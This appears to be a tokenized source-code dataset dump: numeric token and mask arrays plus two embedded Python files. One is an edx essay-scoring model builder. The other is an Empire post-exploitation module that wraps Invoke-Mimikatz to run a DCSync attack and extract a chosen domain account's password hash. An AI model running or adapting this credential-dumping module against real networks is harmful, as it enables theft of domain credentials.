347,
2986,
63,
1023,
8,
1886,
304,
267,
372,
298,
17,
2,
339,
768,
3744,
272,
347,
2986,
63,
354,
8,
1886,
304,
267,
372,
298,
387,
319,
63,
30942,
2,
339,
768,
765,
63,
11547,
8,
1014,
5671,
9,
272,
768,
765,
63,
11547,
8,
2886,
63,
269,
63,
5671,
9,
272,
347,
664,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
408,
267,
17955,
6791,
6696,
5317,
30399,
367,
2257,
2879,
267,
408,
267,
1592,
275,
1323,
2821,
3244,
14,
362,
63,
697,
342,
267,
28877,
63,
751,
275,
445,
13087,
1899,
14,
504,
63,
1176,
63,
751,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pyq881120/Empire
|
lib/modules/credentials/mimikatz/dcsync.py
|
3
|
2901
|
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Mimikatz DCsync',
'Author': ['@gentilkiwi', '@JosephBialek'],
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
"to extract a given account password through "
"Mimikatz's lsadump::dcsync module. This doesn't "
"need code execution on a given DC, but needs to be "
"run from a user context with DA equivalent privileges."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'http://blog.gentilkiwi.com',
'http://clymb3r.wordpress.com/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'user' : {
'Description' : 'Username to extract the hash for (domain\username format).',
'Required' : True,
'Value' : ''
},
'domain' : {
'Description' : 'Specified (fqdn) domain to pull for the primary domain/DC.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "Invoke-Mimikatz -Command "
script += "'\"lsadump::dcsync /user:" + self.options['user']['Value']
if self.options["domain"]['Value'] != "":
script += " /domain:" + self.options['domain']['Value']
script += "\"';"
return script
|
bsd-3-clause
|
[
504,
1973,
14,
2330,
492,
10897,
199,
199,
533,
5673,
26,
339,
347,
636,
826,
721,
277,
12,
2446,
5977,
12,
1862,
17894,
398,
291,
14,
815,
275,
469,
288,
283,
985,
356,
283,
27736,
13,
45,
1017,
3258,
10214,
30592,
5186,
297,
953,
283,
5949,
356,
788,
32,
2268,
2270,
8810,
14249,
297,
10267,
42,
3362,
838,
17975,
1895,
75,
995,
953,
283,
5831,
356,
1689,
16291,
18879,
5058,
320,
390,
1159,
31049,
13,
45,
1017,
3258,
10214,
805,
298,
1169,
298,
475,
5536,
282,
1627,
2933,
2505,
4012,
298,
1169,
298,
45,
1017,
3258,
10214,
1159,
9100,
350,
1220,
447,
68,
1259,
1870,
859,
14,
961,
3181,
1133,
298,
1169,
298,
9321,
1233,
6451,
641,
282,
1627,
30592,
12,
1325,
4839,
370,
506,
298,
1169,
298,
1065,
687,
282,
922,
1067,
543,
577,
33,
7353,
20001,
7651,
953,
283,
14148,
7,
520,
715,
12,
953,
283,
2959,
6382,
7,
520,
488,
12,
7846,
283,
28390,
4880,
7,
520,
756,
12,
953,
283,
4619,
3321,
11090,
7,
520,
715,
12,
953,
283,
4649,
5067,
3353,
7,
520,
283,
18,
297,
7846,
283,
18929,
356,
359,
355,
283,
1014,
921,
11486,
14,
2268,
2270,
8810,
14249,
14,
957,
297,
355,
283,
1014,
921,
429,
89,
887,
19,
82,
14,
1027,
2915,
14,
957,
4805,
288,
1622,
267,
789,
398,
327,
1263,
1511,
4346,
701,
314,
859,
12,
663,
1224,
5309,
8836,
267,
291,
14,
1419,
275,
469,
288,
327,
1475,
26,
288,
327,
257,
574,
63,
354,
520,
469,
1802,
12,
1415,
12,
849,
63,
585,
93,
288,
283,
7788,
7,
520,
469,
355,
283,
5831,
7,
257,
520,
257,
283,
7788,
370,
1255,
859,
641,
3130,
355,
283,
8030,
7,
420,
520,
257,
715,
12,
355,
283,
1110,
7,
260,
520,
257,
2125,
288,
1660,
288,
283,
751,
7,
520,
469,
355,
283,
5831,
7,
257,
520,
257,
283,
13355,
370,
5536,
314,
2631,
367,
334,
2261,
60,
2473,
1475,
680,
297,
355,
283,
8030,
7,
420,
520,
257,
715,
12,
355,
283,
1110,
7,
260,
520,
257,
2125,
288,
1660,
288,
283,
2261,
7,
520,
469,
355,
283,
5831,
7,
257,
520,
257,
283,
6154,
1290,
334,
18364,
9,
2881,
370,
10299,
367,
314,
5062,
2881,
15,
5196,
3130,
355,
283,
8030,
7,
420,
520,
257,
756,
12,
355,
283,
1110,
7,
260,
520,
257,
2125,
288,
789,
267,
789,
398,
327,
3354,
2331,
282,
1331,
402,
314,
2446,
5977,
909,
370,
2879,
5957,
9330,
267,
327,
257,
2839,
19946,
15,
4054,
8297,
15,
6839,
14,
267,
291,
14,
973,
5977,
275,
2446,
5977,
2728,
367,
1215,
315,
1862,
26,
288,
327,
2725,
1475,
365,
359,
985,
12,
1594,
61,
288,
945,
12,
574,
275,
1215,
288,
340,
945,
315,
291,
14,
1419,
26,
355,
291,
14,
1419,
59,
1422,
2733,
1110,
418,
275,
574,
2378,
347,
3550,
8,
277,
304,
2728,
327,
1586,
315,
314,
2863,
859,
1350,
1233,
267,
859,
2980,
275,
291,
14,
973,
5977,
14,
3174,
2042,
435,
3286,
576,
15,
578,
63,
1365,
15,
6942,
15,
27736,
13,
45,
1017,
3258,
10214,
14,
1190,
17,
2,
398,
862,
26,
288,
289,
275,
1551,
8,
578,
2980,
12,
283,
82,
358,
267,
871,
26,
288,
870,
10897,
14,
2326,
10994,
1,
61,
18615,
440,
1586,
859,
1350,
931,
737,
26,
298,
435,
620,
8,
578,
2980,
430,
288,
372,
3087,
398,
859,
3034,
275,
289,
14,
739,
342,
267,
289,
14,
1600,
342,
398,
2884,
275,
859,
3034,
398,
2884,
847,
298,
27736,
13,
45,
1017,
3258,
10214,
446,
3110,
298,
398,
2884,
847,
298,
1154,
2,
478,
350,
1220,
447,
68,
1259,
1870,
1182,
751,
5424,
435,
291,
14,
1419,
459,
751,
2545,
1110,
418,
398,
340,
291,
14,
1419,
905,
2261,
937,
459,
1110,
418,
1137,
10812,
288,
2884,
847,
298,
1182,
2261,
5424,
435,
291,
14,
1419,
459,
2261,
2545,
1110,
418,
398,
2884,
847,
1867,
4507,
9426,
398,
372,
2884,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1973,
14,
2330,
492,
10897,
199,
199,
533,
5673,
26,
339,
347,
636,
826,
721,
277,
12,
2446,
5977,
12,
1862,
17894,
398,
291,
14,
815,
275,
469,
288,
283,
985,
356,
283,
27736,
13,
45,
1017,
3258,
10214,
30592,
5186,
297,
953,
283,
5949,
356,
788,
32,
2268,
2270,
8810,
14249,
297,
10267,
42,
3362,
838,
17975,
1895,
75,
995,
953,
283,
5831,
356,
1689,
16291,
18879,
5058,
320,
390,
1159,
31049,
13,
45,
1017,
3258,
10214,
805,
298,
1169,
298,
475,
5536,
282,
1627,
2933,
2505,
4012,
298,
1169,
298,
45,
1017,
3258,
10214,
1159,
9100,
350,
1220,
447,
68,
1259,
1870,
859,
14,
961,
3181,
1133,
298,
1169,
298,
9321,
1233,
6451,
641,
282,
1627,
30592,
12,
1325,
4839,
370,
506,
298,
1169,
298,
1065,
687,
282,
922,
1067,
543,
577,
33,
7353,
20001,
7651,
953,
283,
14148,
7,
520,
715,
12,
953,
283,
2959,
6382,
7,
520,
488,
12,
7846,
283,
28390,
4880,
7,
520,
756,
12,
953,
283,
4619,
3321,
11090,
7,
520,
715,
12,
953,
283,
4649,
5067,
3353,
7,
520,
283,
18,
297,
7846,
283,
18929,
356,
359,
355,
283,
1014,
921,
11486,
14,
2268,
2270,
8810,
14249,
14,
957,
297,
355,
283,
1014,
921,
429,
89,
887,
19,
82,
14,
1027,
2915,
14,
957,
4805,
288,
1622,
267,
789,
398,
327,
1263,
1511,
4346,
701,
314,
859,
12,
663,
1224,
5309,
8836,
267,
291,
14,
1419,
275,
469,
288,
327,
1475,
26,
288,
327,
257,
574,
63,
354,
520,
469,
1802,
12,
1415,
12,
849,
63,
585,
93,
288,
283,
7788,
7,
520,
469,
355,
283,
5831,
7,
257,
520,
257,
283,
7788,
370,
1255,
859,
641,
3130,
355,
283,
8030,
7,
420,
520,
257,
715,
12,
355,
283,
1110,
7,
260,
520,
257,
2125,
288,
1660,
288,
283,
751,
7,
520,
469,
355,
283,
5831,
7,
257,
520,
257,
283,
13355,
370,
5536,
314,
2631,
367,
334,
2261,
60,
2473,
1475,
680,
297,
355,
283,
8030,
7,
420,
520,
257,
715,
12,
355,
283,
1110,
7,
260,
520,
257,
2125,
288,
1660,
288,
283,
2261,
7,
520,
469,
355,
283,
5831,
7,
257,
520,
257,
283,
6154,
1290,
334,
18364,
9,
2881,
370,
10299,
367,
314,
5062,
2881,
15,
5196,
3130,
355,
283,
8030,
7,
420,
520,
257,
756,
12,
355,
283,
1110,
7,
260,
520,
257,
2125,
288,
789,
267,
789,
398,
327,
3354,
2331,
282,
1331,
402,
314,
2446,
5977,
909,
370,
2879,
5957,
9330,
267,
327,
257,
2839,
19946,
15,
4054,
8297,
15,
6839,
14,
267,
291,
14,
973,
5977,
275,
2446,
5977,
2728,
367,
1215,
315,
1862,
26,
288,
327,
2725,
1475,
365,
359,
985,
12,
1594,
61,
288,
945,
12,
574,
275,
1215,
288,
340,
945,
315,
291,
14,
1419,
26,
355,
291,
14,
1419,
59,
1422,
2733,
1110,
418,
275,
574,
2378,
347,
3550,
8,
277,
304,
2728,
327,
1586,
315,
314,
2863,
859,
1350,
1233,
267,
859,
2980,
275,
291,
14,
973,
5977,
14,
3174,
2042,
435,
3286,
576,
15,
578,
63,
1365,
15,
6942,
15,
27736,
13,
45,
1017,
3258,
10214,
14,
1190,
17,
2,
398,
862,
26,
288,
289,
275,
1551,
8,
578,
2980,
12,
283,
82,
358,
267,
871,
26,
288,
870,
10897,
14,
2326,
10994,
1,
61,
18615,
440,
1586,
859,
1350,
931,
737,
26,
298,
435,
620,
8,
578,
2980,
430,
288,
372,
3087,
398,
859,
3034,
275,
289,
14,
739,
342,
267,
289,
14,
1600,
342,
398,
2884,
275,
859,
3034,
398,
2884,
847,
298,
27736,
13,
45,
1017,
3258,
10214,
446,
3110,
298,
398,
2884,
847,
298,
1154,
2,
478,
350,
1220,
447,
68,
1259,
1870,
1182,
751,
5424,
435,
291,
14,
1419,
459,
751,
2545,
1110,
418,
398,
340,
291,
14,
1419,
905,
2261,
937,
459,
1110,
418,
1137,
10812,
288,
2884,
847,
298,
1182,
2261,
5424,
435,
291,
14,
1419,
459,
2261,
2545,
1110,
418,
398,
2884,
847,
1867,
4507,
9426,
398,
372,
2884,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
edx/ease
|
ease/model_creator.py
|
1
|
7903
|
#Provides interface functions to create and save models
import numpy
import re
import nltk
import sys
from sklearn.feature_extraction.text import CountVectorizer
import pickle
import os
import sklearn.ensemble
from itertools import chain
base_path = os.path.dirname(__file__)
sys.path.append(base_path)
from .essay_set import EssaySet
from . import util_functions
from . import feature_extractor
import logging
from . import predictor_extractor
log=logging.getLogger()
def read_in_test_data(filename):
"""
Reads in test data file found at filename.
filename must be a tab delimited file with columns id, dummy number column, score, dummy score, text
returns the score and the text
"""
tid, e_set, score, score2, text = [], [], [], [], []
combined_raw = open(filename).read()
raw_lines = combined_raw.splitlines()
for row in range(1, len(raw_lines)):
tid1, set1, score1, score12, text1 = raw_lines[row].strip().split("\t")
tid.append(int(tid1))
text.append(text1)
e_set.append(int(set1))
score.append(int(score1))
score2.append(int(score12))
return score, text
def read_in_test_prompt(filename):
"""
Reads in the prompt from a text file
Returns string
"""
prompt_string = open(filename).read()
return prompt_string
def read_in_test_data_twocolumn(filename,sep=","):
"""
Reads in a two column version of the test data.
Filename must point to a delimited file.
In filename, the first column should be integer score data.
The second column should be string text data.
Sep specifies the type of separator between fields.
"""
score, text = [], []
combined_raw = open(filename).read()
raw_lines = combined_raw.splitlines()
for row in range(1, len(raw_lines)):
score1, text1 = raw_lines[row].strip().split("\t")
text.append(text1)
score.append(int(score1))
return score, text
def create_essay_set(text, score, prompt_string, generate_additional=True):
"""
Creates an essay set from given data.
Text should be a list of strings corresponding to essay text.
Score should be a list of scores where score[n] corresponds to text[n]
Prompt string is just a string containing the essay prompt.
Generate_additional indicates whether to generate additional essays at the minimum score point or not.
"""
x = EssaySet()
for i in range(0, len(text)):
x.add_essay(text[i], score[i])
if score[i] == min(score) and generate_additional == True:
x.generate_additional_essays(x._clean_text[len(x._clean_text) - 1], score[i])
x.update_prompt(prompt_string)
return x
def get_cv_error(clf,feats,scores):
"""
Gets cross validated error for a given classifier, set of features, and scores
clf - classifier
feats - features to feed into the classified and cross validate over
scores - scores associated with the features -- feature row 1 associates with score 1, etc.
"""
results={'success' : False, 'kappa' : 0, 'mae' : 0}
try:
cv_preds=util_functions.gen_cv_preds(clf,feats,scores)
err=numpy.mean(numpy.abs(numpy.array(cv_preds)-scores))
kappa=util_functions.quadratic_weighted_kappa(list(cv_preds),scores)
results['mae']=err
results['kappa']=kappa
results['success']=True
except ValueError as ex:
# If this is hit, everything is fine. It is hard to explain why the error occurs, but it isn't a big deal.
msg = u"Not enough classes (0,1,etc) in each cross validation fold: {ex}".format(ex=ex)
log.debug(msg)
except:
log.exception("Error getting cv error estimates.")
return results
def get_algorithms(algorithm):
"""
Gets two classifiers for each type of algorithm, and returns them. First for predicting, second for cv error.
type - one of util_functions.AlgorithmTypes
"""
if algorithm == util_functions.AlgorithmTypes.classification:
clf = sklearn.ensemble.GradientBoostingClassifier(n_estimators=100, learning_rate=.05,
max_depth=4, random_state=1,min_samples_leaf=3)
clf2=sklearn.ensemble.GradientBoostingClassifier(n_estimators=100, learning_rate=.05,
max_depth=4, random_state=1,min_samples_leaf=3)
else:
clf = sklearn.ensemble.GradientBoostingRegressor(n_estimators=100, learning_rate=.05,
max_depth=4, random_state=1,min_samples_leaf=3)
clf2=sklearn.ensemble.GradientBoostingRegressor(n_estimators=100, learning_rate=.05,
max_depth=4, random_state=1,min_samples_leaf=3)
return clf, clf2
def extract_features_and_generate_model_predictors(predictor_set, algorithm=util_functions.AlgorithmTypes.regression):
"""
Extracts features and generates predictors based on a given predictor set
predictor_set - a PredictorSet object that has been initialized with data
type - one of util_functions.AlgorithmType
"""
if(algorithm not in [util_functions.AlgorithmTypes.regression, util_functions.AlgorithmTypes.classification]):
algorithm = util_functions.AlgorithmTypes.regression
f = predictor_extractor.PredictorExtractor()
f.initialize_dictionaries(predictor_set)
train_feats = f.gen_feats(predictor_set)
clf,clf2 = get_algorithms(algorithm)
cv_error_results=get_cv_error(clf2,train_feats,predictor_set._target)
try:
set_score = numpy.asarray(predictor_set._target, dtype=numpy.int)
clf.fit(train_feats, set_score)
except ValueError:
log.exception("Not enough classes (0,1,etc) in sample.")
set_score = predictor_set._target
set_score[0]=1
set_score[1]=0
clf.fit(train_feats, set_score)
return f, clf, cv_error_results
def extract_features_and_generate_model(essays, algorithm=util_functions.AlgorithmTypes.regression):
"""
Feed in an essay set to get feature vector and classifier
essays must be an essay set object
additional array is an optional argument that can specify
a numpy array of values to add in
returns a trained FeatureExtractor object and a trained classifier
"""
f = feature_extractor.FeatureExtractor()
f.initialize_dictionaries(essays)
train_feats = f.gen_feats(essays)
set_score = numpy.asarray(essays._score, dtype=numpy.int)
if len(util_functions.f7(list(set_score)))>5:
algorithm = util_functions.AlgorithmTypes.regression
else:
algorithm = util_functions.AlgorithmTypes.classification
clf,clf2 = get_algorithms(algorithm)
cv_error_results=get_cv_error(clf2,train_feats,essays._score)
try:
clf.fit(train_feats, set_score)
except ValueError:
log.exception("Not enough classes (0,1,etc) in sample.")
set_score[0]=1
set_score[1]=0
clf.fit(train_feats, set_score)
return f, clf, cv_error_results
def dump_model_to_file(prompt_string, feature_ext, classifier, text, score, model_path):
"""
Writes out a model to a file.
prompt string is a string containing the prompt
feature_ext is a trained FeatureExtractor object
classifier is a trained classifier
model_path is the path of write out the model file to
"""
model_file = {'prompt': prompt_string, 'extractor': feature_ext, 'model': classifier, 'text' : text, 'score' : score}
pickle.dump(model_file, file=open(model_path, "w"))
def create_essay_set_and_dump_model(text,score,prompt,model_path,additional_array=None):
"""
Function that creates essay set, extracts features, and writes out model
See above functions for argument descriptions
"""
essay_set=create_essay_set(text,score,prompt)
feature_ext,clf=extract_features_and_generate_model(essay_set,additional_array)
dump_model_to_file(prompt,feature_ext,clf,model_path)
|
agpl-3.0
|
[
3,
17473,
3217,
3423,
370,
1218,
436,
3354,
1709,
421,
199,
646,
2680,
199,
646,
295,
199,
646,
24706,
199,
646,
984,
199,
504,
6357,
14,
4445,
63,
24020,
14,
505,
492,
14826,
26165,
199,
646,
5927,
199,
646,
747,
199,
646,
6357,
14,
15628,
199,
504,
7975,
492,
6036,
199,
199,
1095,
63,
515,
275,
747,
14,
515,
14,
3475,
3460,
493,
3368,
199,
1274,
14,
515,
14,
740,
8,
1095,
63,
515,
9,
199,
199,
504,
1275,
16709,
1187,
63,
409,
492,
662,
385,
1187,
1084,
199,
504,
1275,
492,
4884,
63,
5777,
199,
504,
1275,
492,
3878,
63,
22677,
199,
646,
2050,
199,
504,
1275,
492,
4557,
630,
63,
22677,
199,
199,
793,
29,
4806,
14,
5572,
342,
199,
199,
318,
1586,
63,
262,
63,
396,
63,
576,
8,
1501,
304,
272,
408,
272,
26129,
315,
511,
666,
570,
1911,
737,
1788,
14,
272,
1788,
1471,
506,
282,
5174,
21941,
570,
543,
4362,
1305,
12,
7283,
1329,
2763,
12,
5396,
12,
7283,
5396,
12,
1318,
272,
2529,
314,
5396,
436,
314,
1318,
272,
408,
272,
11559,
12,
325,
63,
409,
12,
5396,
12,
5396,
18,
12,
1318,
275,
990,
990,
990,
990,
942,
272,
12149,
63,
1773,
275,
1551,
8,
1501,
680,
739,
342,
272,
3066,
63,
1278,
275,
12149,
63,
1773,
14,
7644,
342,
272,
367,
1962,
315,
1425,
8,
17,
12,
822,
8,
1773,
63,
1278,
2298,
267,
11559,
17,
12,
663,
17,
12,
5396,
17,
12,
5396,
713,
12,
1318,
17,
275,
3066,
63,
1278,
59,
1143,
1055,
1913,
1252,
1294,
4582,
84,
531,
267,
11559,
14,
740,
8,
442,
8,
5700,
17,
430,
267,
1318,
14,
740,
8,
505,
17,
9,
267,
325,
63,
409,
14,
740,
8,
442,
8,
409,
17,
430,
267,
5396,
14,
740,
8,
442,
8,
3397,
17,
430,
267,
5396,
18,
14,
740,
8,
442,
8,
3397,
713,
430,
339,
372,
5396,
12,
1318,
421,
199,
318,
1586,
63,
262,
63,
396,
63,
7650,
8,
1501,
304,
272,
408,
272,
26129,
315,
314,
8457,
687,
282,
1318,
570,
272,
1803,
1059,
272,
408,
272,
8457,
63,
875,
275,
1551,
8,
1501,
680,
739,
342,
272,
372,
8457,
63,
875,
199,
199,
318,
1586,
63,
262,
63,
396,
63,
576,
63,
5601,
2301,
8,
1501,
12,
4127,
29,
2266,
304,
272,
408,
272,
26129,
315,
282,
2877,
2763,
1015,
402,
314,
511,
666,
14,
272,
31167,
1471,
2376,
370,
282,
21941,
570,
14,
272,
1010,
1788,
12,
314,
1642,
2763,
1077,
506,
3000,
5396,
666,
14,
272,
710,
3499,
2763,
1077,
506,
1059,
1318,
666,
14,
272,
428,
1545,
9314,
314,
730,
